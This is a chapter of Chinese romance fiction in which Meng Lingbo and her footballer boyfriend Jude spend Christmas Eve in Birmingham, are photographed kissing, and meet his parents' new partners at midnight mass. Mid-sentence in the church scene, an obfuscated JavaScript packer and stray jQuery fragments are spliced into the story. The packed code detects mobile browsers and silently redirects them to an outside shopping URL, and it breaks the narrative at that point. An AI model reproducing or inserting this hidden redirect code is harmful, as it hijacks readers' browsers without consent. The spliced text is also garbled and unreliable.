孟凌波在飞机上醒来时,已是深夜。
舱内灯光昏黄,入眼是裘德只穿着白色工字背心的胸膛。
他的手环在她肩头,呼吸平顺。
孟凌波并未急着起身,而是伸手小心地将滑落到他腰间的薄被往上拉了拉,看了眼紧闭的房门,重新闭上了眼睛。
头一天晚上,裘德看着孟凌波小公寓里那组没有一根线、一颗钉子,却能自在游动的木雕微雕海洋景观,很是喜欢。
昨天两个人一起游了紫禁城,又钻进老巷子寻了好久,才找到那家做手工木雕的老手艺人铺子。
满载而归的二人又去了什刹海滑冰,一直玩到很晚才回家。
二十三岁的运动员精力异常旺盛,孟凌波几乎是登上飞机不久就睡过去了。
现在几点了呢?不管了,到了总会有人提醒。
蹭着裘德起伏的胸膛,孟凌波咂咂嘴,再次陷入深眠。
······
“嗯~~好吃。”
刚出锅的猪排包被裘德托在掌心,孟凌波咬了一大口,边哈气边冲着他赞道。
裘德抬起另一只手,压了压她头顶那顶和羽绒外套颜色配套的贝雷帽,只觉得鼓着腮帮大口吃东西的孟凌波,活像一只刚出锅的奶黄包。
他拉下口罩俯身,一个轻柔的吻落在她唇角,又迅速退开,点头道:“嗯~~确实不错,我从小吃到大的。”
孟凌波被偷袭得突然,抬眸嗔了他一眼:“你干嘛,别乱摘口罩。”
他们是伯明翰当地时间上午才到家的。飞机赶上雨夹雪,被迫在曼彻斯特降落后,又开车回的家。
孟凌波几乎只简单寒暄两句便回了房间,再醒来,天已经擦黑。
家里除了自己和裘德,其他人都外出过平安夜了,两人便也收拾收拾出了门。
维多利亚广场的夜晚灯光璀璨,行人在各色美食摊间穿行,外围一棵巨大的圣诞树下,许多异国游客正忙着打卡拍照。
两人今天出来只带了两个随行人员,为了不太过于打眼还吩咐隔着几步跟随就好。
裘德乖乖站着,任由孟凌波帮他将口罩拉回原位。孟凌波还顺手推了推他被压了一角眉尾的毛线帽,看看四周:“那里。是可以许愿的吗?”
一个超大型的喷泉四周围了不少人,孟凌波观察着,似有人在往池子里抛硬币。
裘德顺着她的目光看过去:“偶尔有游客会许愿吧,当地人很少这样做。”
孟凌波若有所思点头。裘德问:“你想要许愿吗?”
还是想要什么礼物?
他给她准备了好多东西,都已经被放到家里的圣诞树下了,明天一早就可以拆封了。
孟凌波摇摇头,随即又点点头:“那哪里可以许愿呢?”
“有!”裘德伸手拉住她小臂:“跟我来!”
······
摩天轮缓缓升空,舱外流转的蓝调灯光铺陈,将伯明翰市中心璀璨的圣诞夜景勾勒得如梦似幻。
转到最高处的那一刻,孟凌波从裘德怀中直起身,双手抱拳抵在下巴处。耳边是广场上逐渐轻快的音乐声,额头却突然落下一个温热的吻。
她睁眼偏头,就见裘德正深深凝视着她,好奇地问:“你许了什么愿?”
她笑着摇头,身体微微往后倾了倾:“说出来就不灵了。”
裘德不认同,将她往怀中揽了揽:“怎么会?愿望就是要说出来,才能一起实现的啊。”
孟凌波仰头与他对视,看着他眼中爆棚的求知欲,轻声开口:“我愿……我们万事顺遂,日日月月年年。”
她双眸盈满笑意,片刻后,裘德也学着她的模样闭上眼,口中念着:“ I wish everything you wish for comes true。”
他曾听说,当摩天轮升至最高点时,是整座城市里离天空、离星星最近的地方。天上的神明能清晰听见人的心愿,此时虔诚许下的愿望,就一定会被实现。
他睁开眼,一脸求夸赞的表情看得孟凌波笑意更深。她抬手揽过他的肩膀,送上一个带着甜香的吻。
就在唇齿相依的瞬间,夜空骤然被点亮。
无数绚烂的烟花在窗外轰然绽放,流光溢彩的碎影透过玻璃,在两人侧脸上交叠明灭。
原本轻缓的英文歌不知何时切成了杨丞琳的《庆祝》,巨大的声浪与光影将狭小的座舱彻底包裹。
加斯街运河区的每一家餐厅和店铺都浸透了浓郁的节日气息,各色灯光从橱窗里漫出来,在湿漉漉的马路上交叠。
孟凌波和裘德牵着手,慢悠悠逛着,听他讲小时候和Joeb的趣事。
迎面又走来一群年轻人,嬉笑着转进街边的酒吧,震耳的复古电音从门缝里漏出来,在两人耳边擦过。
裘德慢下脚步,偏头看她:“要不要进去玩会儿?Joeb出门前说会在这儿。”
孟凌波摇头,贝雷帽上的毛球在风中轻晃:“不要了,你就带我这样走走逛逛就挺好。”
裘德低头看她冻得微红的鼻头,将手中拎着的热红酒递到她唇边:“再喝一口。”
孟凌波就着他的手咽下一小口,抬手推开杯沿:“有些凉了,别喝了。”
夜晚的湿冷让热红酒的温度降得飞快。裘德将杯子丢进路边的垃圾桶,看了看手表,忽然开口:“要不要跟我去教堂参加弥撒?”
“弥撒?”孟凌波微微一怔。她早先就听说过伯明翰的圣诞宗教仪式,据说很壮观。
“我们家的习惯,每年平安夜都会全家一起去教堂。”裘德解释着,见她点头,又补了一句,“不过今天,你可能会见到我爸爸的伴侣。”
孟凌波脚步一顿:“他们是各自出去玩的?”
她睡醒时家里只剩自己和裘德,本以为Denice和Marc是一起出门的。
裘德点头,似是在思考:“或许也能看到妈妈他们。”
孟凌波嘴角的笑意微僵:“要不……我们换一处?”
裘德双手揽住她的腰,将她往怀里带了带:“不用,我们习惯去那里,碰到也很正常。”
孟凌波抬手推着他愈发靠近的俊脸,迟疑着:“为什么我在你眼中看见了凑热闹的表情?”
裘德偏头在她手腕上落下一吻,眼神诚挚得近乎无辜:“我没有。”
孟凌波坚信自己没有看错。她踮脚将他盖在毛线帽下的耳朵精准捏住:“你在笑,我不信。”
裘德眨了眨眼,将人揽得更紧,俯身抵住她的额头:“Sweetheart,你要相信,我的眼里只能看到你,我对别人的爱情故事不感兴趣。”
孟凌波简直要被他气笑,捏着他耳垂的手指微微用力:“你最好……”
话音未落,裘德忽然低头,将她未尽的话语尽数吞入唇齿间。
运河边的风裹着湿冷的水汽拂过,却吹不散两人之间滚烫的温度。
他吻得很深,却温柔,仿佛要将这一刻的安宁与笃定都刻进她的呼吸里。
她闭上眼,手指无意识地攥紧他大衣的衣襟,任由自己沉溺在这片只属于他们的天地之中。
一道刺目的闪光灯毫无预兆地在斜后方亮起。
跟在几步外的保镖几乎是瞬间动了,身形如风般挡在两人身侧。
深吻被打断,孟凌波睫毛轻颤着睁开眼,与裘德同时看向声音来源。
一群刚从酒吧出来的年轻男女,约莫十来人,正兴奋地举着手机朝他们涌来。
“裘德!天啊!真的是裘德!”有人摇着手机高喊,声音里满是难以置信的狂喜。
保镖根本拦不住这群情绪高涨的球迷,他们推挤着,大步冲了过来。
裘德与孟凌波对视一眼,无需任何言语,两人在下一秒同时转身,拔腿朝着运河深处的暗巷狂奔而去。
······
两人赶到教堂时,弥撒尚未正式开始。
随着人流涌入,宽敞的穹顶之下已是一派肃穆景象,空气中弥漫着淡淡的熏香与蜡烛燃烧的气息。
圣诞颂歌的预热旋律在大堂内回荡,座无虚席的教堂里,人们纷纷低头祈祷或轻声交谈。
孟凌波用手肘撞了撞裘德小臂,压低了声音:“你看前边。”
隔着三排座椅的正前方,Denice正与一位穿着极为得体的男士并肩而坐,两人姿态熟稔,显然关系匪浅。
裘德偏头看了一眼,冲她斜侧方抬了抬下巴:“再看右前方。”
隔着一个过道,右侧第二排最靠里的座位上,果然是Marc。而他身边,坐着一位金发女士。
音乐声渐渐高昂,孟凌波视线越过高低不一的人头,看见那位长发女人正偏头对着Marc笑得温柔又缱绻。
她抿了下嘴唇,默默收回视线,将“修罗场”三个字咽回肚子里。
在这一刻,她无比认同裘德刚才那句“没关系,这是正常的事”的这种理念。
她偏头对上裘德,面上已是一片泰然,微微颔首道:“看到了。”顿了半秒,她又压低声音问,“那……一会儿需要去打招呼吗?”
那位英国绅士她更熟悉一些。那位金发女士今天是头一回见,她不大清楚裘德是否同她一般陌生。
裘德回视着她,眼中早已没了方才凑热闹的神情。他略一思索,反问:“你觉得呢?”
看着他这副也拿不准的模样,孟凌波心里顿时有了数。看来Marc同Denice一样都没有正式介绍过自己的伴侣。
那······
孟凌波没急着回答,思绪已经飞速跳转到了下一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972066|214686||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
步:“若是打招呼,先和谁打?”
先走向哪一对,另一对看到了会不会暗自比较?长辈们或许大度,但他们身边的伴侣会不会介意?
裘德听她这样问,抬头纹都重了三分。
他又看了一眼前方那两对“岁月静好”的长辈,忽然凑近孟凌波耳边,用只有两人能听见的气音说:“我们离门近。一会儿弥撒结束,我们先撤。”
这提议简直比教堂的钟声还要悦耳。
孟凌波连忙点头,眼神里满是“英雄所见略同”的赞同。
走出教堂大门,便是外头宽阔的石阶广场。
午夜零点刚过,远处的街道上依旧灯火璀璨,圣诞的欢歌隐隐传来。
裘德伸手,将孟凌波被冷风吹开的围巾紧了紧。两人交换了一个“劫后余生”的眼神,同时转身,准备顺着台阶溜之大吉。
谁知刚迈出一步,一道熟悉的男声叫住了他们。
两人无奈,只能同时转回身。
身后,那位金发女郎挽着Marc的小臂,正朝两人走来。
此时,教堂内做完弥撒的人潮正源源不断地向门口涌来。裘德眼疾手快地拉着孟凌波,将她往台阶边缘的偏僻处带了带。
孟凌波乖巧地站在裘德身侧,脸上已然挂上了见长辈该有的得体微笑,正等候着Marc开口介绍。
谁知,另一道女声却抢先插了进来:“Lindy!Come here, my baby!”
Marc与那位女伴闻声先一步回头,四人同时望向台阶上方。
只见Denice正拉着那位英国绅士,在拥挤的人流中快步穿梭。
许是有些着急,她几步便挤到了四人面前。
走近了,孟凌波才注意到,Denice另一只手里紧攥的手机屏幕还亮着。
Denice靠近后,并未理会一旁Marc与女伴,而是直接松开那位男士的手,拉着孟凌波和裘德,往更偏僻的台阶暗处走了几步。
随后,她将手机递到两人面前,压低声音道:“My darlings,或许你们也能认同,在圣诞节这天让人加班,并不是一个好老板该做的事。”
孟凌波与裘德同时探头看去,只见手机屏幕上,赫然是一张两人方才在运河边旁若无人拥吻的照片。
孟凌波眉心猛地一跳,暗叫果然。
却听裘德面不改色地开口:“妈妈,我发誓,我们很快就跑开了。”
Denice斜睨了他一眼,手指在屏幕上快速划过,一张两人牵手跑远的背影照,清晰无比地呈现在眼前。
她睨着二人:“是的,你们跑起来的时候,背影依旧完美。”
照片里,运河边湿漉漉的石板路倒映着各色街灯,街灯流转映在两人远去的身影上明明暗暗。
两人交叠的十指紧紧相扣,发丝飞扬。
这画面,确实像极了电影里最浪漫的定格。
“……确实很好看。”孟凌波小声嘀咕了一句。
在Denice略显嫌弃的高压目光中,她心虚地抬起头,恰好迎上裘德投来的视线。
两人在昏暗的台阶上默契地交换了一个眼神。
裘德迎着Denice的目光,低沉的声调响起:“按早先商量好的公开文案和流程走就好,不过是提前一点时间······”又像是想到什么,他转头看向孟凌波:“你那边可以同时进行吗?”
私下同游,街头散步,只带两个随行人员。孟凌波本就做好了随机公开的打算。
“可以,我联系集团公关部。”
孟凌波的毛绒小包还背在裘德的肩上,她正准备伸手去翻,包包里却是抢先响起了电话铃声。
那铃音是特别定制给家人的。孟凌波快速划开接听键:“妈妈······”
阮明月深夜打过来,却并不是为了方才街头的照片。
等孟凌波挂断电话,她冲着Denice笑得乖巧:“或许,今晚确实需要叫工作人员加班了······”
国内平台突然空降热搜,那天她与裘德在机场拥抱的一张照片已然疯传。
随之而来的是有网友晒出了更多俩人同游北京的照片,并留言说:当时只以为是看错了,没想到竟是真的,我觉得我错过了一个亿啊啊啊啊啊······
······
那位金发女郎与英国绅士,在Marc也忍不住上前询问情况时,便同时离开了。
那年的圣诞节,就是从裘德伯明翰家里的客厅开始的。
Denice叫厨师上了热食,裘德团队的工作人员与孟氏的公关部打着越洋电话,一直在密切的交流着。
孟凌波窝在沙发上,坚持到天光破晓,再次往裘德怀中缩了缩,再也坚持不住,闭上了眼睛。